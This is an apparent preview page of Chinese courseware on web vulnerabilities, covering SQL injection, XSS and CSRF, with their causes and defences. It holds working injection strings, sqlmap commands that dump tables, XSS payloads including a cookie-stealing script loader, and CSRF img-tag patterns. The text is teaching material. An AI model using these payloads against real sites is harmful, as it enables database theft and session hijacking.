Web常見漏洞課件_第1頁
Web常見漏洞課件_第2頁
Web常見漏洞課件_第3頁
Web常見漏洞課件_第4頁
Web常見漏洞課件_第5頁
已閱讀5頁,還剩44頁未讀, 繼續(xù)免費閱讀

下載本文檔

版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請進(jìn)行舉報或認(rèn)領(lǐng)

文檔簡介

Web目錄三、CSRF漏洞二、XSS跨站漏洞一、SQL注入漏洞1SQL注入漏洞數(shù)據(jù)庫基礎(chǔ)概念2SQL注入漏洞MSSQL數(shù)據(jù)庫示例:4SQL注入漏洞

為什么要使用數(shù)據(jù)庫?一.靜態(tài)網(wǎng)頁:html或者h(yuǎn)tm,是一種靜態(tài)的頁面格式,不需要服務(wù)器解析其中的腳本。由瀏覽器如(IE、Chrome等)解析。1.不依賴數(shù)據(jù)庫2.靈活性差,制作、更新、維護(hù)麻煩3.交互性交差,在功能方面有較大的限制4.安全,不存在SQL注入漏洞二.動態(tài)網(wǎng)頁asp、aspx、php、jsp等,由相應(yīng)的腳本引擎來解釋執(zhí)行,根據(jù)指令生成靜態(tài)網(wǎng)頁。1.依賴數(shù)據(jù)庫2.靈活性好,維護(hù)簡便3.交互性好,功能強大4.存在安全風(fēng)險,可能存在SQL注入漏洞5SQL注入漏洞

一個簡單的拓?fù)鋱D數(shù)據(jù)庫服務(wù)器網(wǎng)站客戶端1客戶端2客戶端3WEB服務(wù)器用戶1的PC用戶2的PC攻擊者的PC6SQL注入漏洞SQL注入漏洞怎么樣形成的客戶端數(shù)據(jù)庫腳本引擎

用戶想要查看ID為81的文章請

求返

回81請

求返

回獲取參數(shù)ID的值為81,動態(tài)構(gòu)造SQL語句:Select*fromArticlewhereid=81

,向數(shù)據(jù)庫發(fā)起查詢請求在Article表中查詢id為81的所有記錄返回查詢到的所有記錄處理返回的所有記錄,如過濾和編碼特殊字符等,生成靜態(tài)網(wǎng)頁并返回給客戶端將網(wǎng)站返回的網(wǎng)頁展示給用戶7SQL注入漏洞SQL注入定義:

很多應(yīng)用程序都使用數(shù)據(jù)庫來存儲信息。SQL命令就是前端應(yīng)用程序和后端數(shù)據(jù)庫之間的接口。攻擊者可利用應(yīng)用程序根據(jù)提交的數(shù)據(jù)動態(tài)生成SQL命令的特性,在URL、表單域,或者其他的輸入域中輸入自己的SQL命令,改變SQL命令的操作,將被修改的SQL命令注入到后端數(shù)據(jù)庫引擎執(zhí)行。SQL注入的危害:

這些危害包括但不局限于:

A.數(shù)據(jù)庫信息泄漏:數(shù)據(jù)庫中存放的用戶的隱私信息的泄露。 B.網(wǎng)頁篡改:通過操作數(shù)據(jù)庫對特定網(wǎng)頁進(jìn)行篡改。 C.網(wǎng)站被掛馬,傳播惡意軟件:修改數(shù)據(jù)庫一些字段的值,嵌入網(wǎng)馬鏈接,進(jìn)行掛馬攻擊。 D.數(shù)據(jù)庫被惡意操作:數(shù)據(jù)庫服務(wù)器被攻擊,數(shù)據(jù)庫的系統(tǒng)管理員帳戶被竄改。 E.服務(wù)器被遠(yuǎn)程控制,被安裝后門。經(jīng)由數(shù)據(jù)庫服務(wù)器提供的操作系統(tǒng)支持,讓黑客得以修改或控制操作系統(tǒng)。 F.破壞硬盤數(shù)據(jù),癱瘓全系統(tǒng)。9SQL注入漏洞

常見的SQL注入過程:客戶端:參數(shù)值等數(shù)據(jù)被修改服務(wù)端:未經(jīng)檢查和過濾的數(shù)據(jù)注入到SQL命令中SQL命令功能被修改數(shù)據(jù)庫引擎:執(zhí)行被修改后的SQL命令客戶端:根據(jù)上一次注入獲取的敏感信息構(gòu)造注入語句進(jìn)一步注入服務(wù)端:將注入的結(jié)果返回給客戶11SQL注入漏洞

判斷注入漏洞的依據(jù)是什么判斷注入漏洞的依據(jù)是什么?根據(jù)客戶端返回的結(jié)果來判斷提交的測試語句是否成功被數(shù)據(jù)庫引擎執(zhí)行如果測試語句被執(zhí)行了,說明存在漏洞。構(gòu)造測試語句提交請求分析返回結(jié)果符合預(yù)期結(jié)果不符合預(yù)期的結(jié)果不存在漏洞存在SQL注入漏洞13SQL注入漏洞

SQL注入分類按數(shù)據(jù)類型1.數(shù)字型網(wǎng)站代碼:$sql=”select*fromuserswhereid=1”;插入的url:and1=12.字符型$sql=”select*fromuserswhereid='1'”;插入的url:'and'1'='13.搜索型$sql=”select*fromuserswhereidlike'%keyword%'”;插入的url:'and'%'='按返回結(jié)果1.顯錯注入2.盲注14SQL注入漏洞SQL注入代碼:網(wǎng)站源碼:正常請求url:后臺執(zhí)行為:$sql=”select*fromuserswhereid='1'limit0,1”;惡意請求的url:'and(selectcount(*)fromusers)>0--后臺執(zhí)行為:$sql=”select*fromuserswhereid='1'and(selectcount(*)fromusers)>0--limit0,1”;這樣就欺騙了服務(wù)器從而執(zhí)行惡意的SQL命令。15SQL注入漏洞

SQL注入點判斷:單引號:在url里輸入'報錯整型字符型搜索型真and1=1'and'1'='1%'and1=1and'%'='假and1=2'and'1'='2%'and1=2and'%'='16SQL注入漏洞

數(shù)據(jù)庫的注釋語法數(shù)據(jù)庫注釋描述SQLServer--用于單行注釋/**/用于多行注釋MySql--用于單行注釋(要求第二個-后面跟一個空格或控制字符,如制表符,換行符等)#用于單行注釋/**/用于多行注釋17SQL注入漏洞實例1.基于回顯的注入:數(shù)據(jù)庫的數(shù)據(jù)顯示在Web頁面中,可以通過閉合前面的數(shù)據(jù)庫語句,將我們想要顯示的數(shù)據(jù)顯示在Web頁面中:演示環(huán)境(GET):orderby:判斷存在幾個表2.基于報錯的注入:數(shù)據(jù)庫的數(shù)據(jù)沒在Web頁面顯示,只是將數(shù)據(jù)查詢語句的錯誤顯示在Web頁面中:演示環(huán)境(GET):使用報錯函數(shù)updatexml(1,concat(),1)演示環(huán)境(POST):萬能密碼:test’or1=1#yyyyy后臺代碼:$sql=”selectusername,passwordfromuserswhereusername='用戶名'andpassword='密碼'limit0,1”19SQL注入漏洞

3.基于布爾型的盲注:Web頁面沒有報錯,也沒有數(shù)據(jù)庫信息返回,看下面源代碼:20SQL注入漏洞

4.基于時間的盲注使用測試語句進(jìn)行測試,Web頁面沒有任何反應(yīng)。使用延遲函數(shù)進(jìn)行測試可以Web頁面加載的時間與延遲函數(shù)的時間差不多:源碼:22SQL注入漏洞

演示環(huán)境:測試語句:id=1'andsleep(5)%2323SQL注入漏洞

工具介紹:sqlmap:25SQL注入漏洞

基于python寫出的一款SQL注入工具:1.安裝python環(huán)境,用指令直接就可以運行*******************************基本步驟****************************sqlmap-u""--current-user#獲取當(dāng)前用戶名稱sqlmap-u""--current-db#獲取當(dāng)前數(shù)據(jù)庫名稱sqlmap-u""--tables-D"db_name"#列表名sqlmap-u""--columns-T"tablename"users-D"db_name"-v0#列字段sqlmap-u""--dump-C"column_name"-T"table_name"-D"db_name"-v#獲取字段內(nèi)容sqlmap-u""--data"id=3"#post注入數(shù)據(jù)下載的目錄:C:\Users\Administrator\.sqlmap\output參考文檔:見工具26SQL注入漏洞

正確地防御SQL注入防御SQL注入的最佳方式是使用預(yù)編譯語句,綁定變量:使用預(yù)編譯的SQL語句,SQL語句的語義不會發(fā)生改變。在SQL語句中變量用?表示,攻擊者無法改變SQL的結(jié)構(gòu)。使用安全函數(shù):各種Web語言都實現(xiàn)一些編碼函數(shù),可以對抗SQL注入。$query=”insertintomycity(Name,country,district)values(?,?,?)”;$smt=$mysqli->prepare($query);$smt->bind_param('sss',$val1,$val2,$val3);$val1='stu';$val2='deu';$val3='bsb';$smt->execute();27XSS跨站漏洞XSS簡介跨站攻擊腳本,英文全稱CrossSiteScript,本來縮寫CSS,為了與層疊樣式表單有所區(qū)別,所以在安全領(lǐng)域叫“XSS”。XSS攻擊,通常指,從而在用戶瀏覽網(wǎng)頁時,控制瀏覽器的一種攻擊手法。是指攻擊者利用網(wǎng)站程序?qū)τ脩糨斎脒^濾不足,通過“HTML注入”篡改了網(wǎng)頁,插入了惡意腳本,從而盜取用戶資料、利用用戶身份進(jìn)行某種動作或者對訪問者進(jìn)行病毒侵害的一種攻擊方式。

29XSS跨站漏洞

XSS類型1.反射型XSS反射型XSS只是簡單的把用戶輸入的數(shù)據(jù)“反射”給瀏覽器,也就說往往,需要誘導(dǎo)用戶“點擊”一個惡意的鏈接,才能成功攻擊。演示環(huán)境:2.存儲型XSS存儲型的XSS會把用戶輸入的數(shù)據(jù)“存儲在服務(wù)端”。這種XSS具有很強的穩(wěn)定性,比較常見的場景就是,寫一篇包含有惡意的JavaScript代碼的博客,發(fā)表后,所有的訪問該內(nèi)容的用戶均會受到攻擊。因為這個惡意的JavaScript腳本保存到了服務(wù)端。所有這樣的XSS攻擊叫做”存儲型“XSS演示環(huán)境30XSS跨站漏洞

3.DOMBasedXSS這種并非按照“數(shù)據(jù)是否保存在服務(wù)器端”來劃分,DOMBasedXSS,從效果上來說也是反射型的XSS。單獨劃分出來是因為DOMBasedXSS形成的原因比較特殊。它是通過修改頁面的DOM節(jié)點形成的XSS稱之為DOMBasedXSS環(huán)境演示:31XSS跨站漏洞

XSS代碼構(gòu)造1.利用<>標(biāo)記注射Html/JavaScript如果用戶可以隨心所欲的引入<>等標(biāo)記,那么就可以操作一個HTML標(biāo)簽,然后通過<script>標(biāo)簽就可以任意的插入由JavaScript編寫的惡意代碼如:

<script>alert(/xss/)</script>演示環(huán)境:2.利用HTML標(biāo)簽屬性執(zhí)行XSS

很多HTML標(biāo)簽屬性支持javascript:[code]偽協(xié)議形式,這個特殊的協(xié)議類型聲明了URL的主體是任意的JavaScript代碼,由JavaScript的解釋器運行。 <ahref=”javascript:alert('xsss');”>aaa</a>演示環(huán)境:32XSS跨站漏洞

3.產(chǎn)生自己的事件當(dāng)不能用屬性值進(jìn)行跨站,可以通過使用事件。JavaScript跟HTML的交互就是通過事件來實現(xiàn)的,事件就是用戶或者瀏覽器自身執(zhí)行的某種動作,比如click、mouseover、load等 <imgsrc='#'onerror=”alert('xss')”>演示環(huán)境:測試事件型跨站,還有大量的事件可以運用:onResumeonReverseonSeekonstoponfinish.......33XSS跨站漏洞

XSS可以干什么?XSS用戶信息突破瀏覽器限制XSS蠕蟲攻擊管理信息DDOS攻擊內(nèi)網(wǎng)攻擊觸發(fā)XSS通過多種方式攻擊別人,讓別人也成為受害者私密信息,郵件相冊等后臺管理員信息百度搜狗等瀏覽器遠(yuǎn)程命令執(zhí)行掃描內(nèi)網(wǎng)攻擊內(nèi)網(wǎng)其他機器34XSS跨站漏洞

XSS利用平臺35XSS跨站漏洞

找到了一處XSS漏洞:將以下的語句插入這個漏洞處。<scriptsrc=></script></textarea>'"><scriptsrc=></script><imgsrc=xonerror=s=createElement('script');body.appendChild(s);s.src='你的js地址';>

Web服務(wù)器攻擊者XSS平臺受害者注入惡意的代碼觸發(fā)時,受害者發(fā)送COOKIE等訪問訪問得到COOKIE等36XSS跨站漏洞

演示環(huán)境37XSS跨站漏洞

xss的防御1.四兩撥千斤:HttpOnlyHttpOnly最早由微軟提出并在IE6中實現(xiàn)。瀏覽器將禁止頁面的JavaScript訪問帶有HttpOnly屬性的Cookie。2.輸入輸出檢查:

常見的Web漏洞,如XSS、SQL注入等,都要求攻擊者構(gòu)造一些特殊的字符,這些字符可能是正常用戶不會用到的,所有輸入檢查就有存在的必要。

輸入檢查,一般是檢查用戶輸入的數(shù)據(jù)中是否包含特殊字符,如<、>、'、”等,如果發(fā)現(xiàn)存在這些特殊字符,則過濾或者編碼。輸出檢查,進(jìn)行安全的編碼函數(shù)使用,針對html代碼的編碼方式是HtmlEncode,可以轉(zhuǎn)換以下的字符: &----->& <------->< >------>> “------->" '--------->'38目錄三、CSRF漏洞一、SQL注入漏洞二、XSS跨站漏洞39CSRF漏洞CSRF簡介:CSRF:英文名稱,crosssiterequestforgery(跨站點請求偽造):從這個名字,可以關(guān)注到兩點:一個是“跨站點”,另一個是“偽造”。1.跨站點的請求:請求是其他站點發(fā)出的,比如目標(biāo)網(wǎng)站的刪除文章功能接收到了來自惡意客戶端發(fā)出的刪除文章的請求,這個請求就是跨站點的請求。目標(biāo)網(wǎng)站,應(yīng)該區(qū)分請求的來源。2.請求是偽造的:

偽造,一般認(rèn)為偽裝來自受信任用戶的請求來利用受信任的網(wǎng)站。 CSRF攻擊能夠劫持終端用戶在已經(jīng)登錄的Web站點上執(zhí)行非本意的操作。攻擊者透過盜用用戶身份發(fā)送一個請求,或執(zhí)行某些惡意操作。40CSRF漏洞

CSRF的原理:瀏覽器站點A正常網(wǎng)站站點B惡意網(wǎng)站

用戶C1.瀏覽并登錄新人A站點2.驗證通過,在C處產(chǎn)生A的COOKIE3.用戶在沒有登出A網(wǎng)站下訪問了B站點4.B站點要去訪問站點A發(fā)出一個請求5.根據(jù)4的請求帶著2的Cookie訪問A41CSRF漏洞

一個場景銀行網(wǎng)站A,它以GET請求來完成銀行轉(zhuǎn)賬的操作,如:危險網(wǎng)站B,它里面有一段HTML的代碼如下:<imgsrc=>首先,你登錄了銀行網(wǎng)站A,然后訪問危險網(wǎng)站B,這時你會發(fā)現(xiàn)你的銀行賬戶少了1000塊......銀行網(wǎng)站A使用GET請求更新資源。在訪問危險網(wǎng)站B的之前,已經(jīng)登錄了銀行網(wǎng)站A,而B中的<img>以GET的方式請求第三方資源(這里的第三方就是指銀行網(wǎng)站了,原本這是一個合法的請求,但這里被攻擊者利用了),所以瀏覽器會帶上你的銀行網(wǎng)站A的Cookie發(fā)出Get請求,去獲取資源“”,結(jié)果銀行網(wǎng)站服務(wù)器收到請求后,認(rèn)為這是一個更新資源操作(轉(zhuǎn)賬操作),所以就立刻進(jìn)行轉(zhuǎn)賬操作......42CSRF漏洞

常見的CSRF攻擊代碼1.<img>標(biāo)簽屬性<imgsrc=''><img>以GET的方式請求第三方資源,所以瀏覽器會帶上網(wǎng)站的Cookie發(fā)出get請求2.<script>標(biāo)簽<scriptsrc=''>3.JavaScript對象4.XMLHTT

溫馨提示

  • 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
  • 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
  • 5. 人人文庫網(wǎng)僅提供信息存儲空間,僅對用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對任何下載內(nèi)容負(fù)責(zé)。
  • 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請與我們聯(lián)系,我們立即糾正。
  • 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時也不承擔(dān)用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。

最新文檔

評論

0/150

提交評論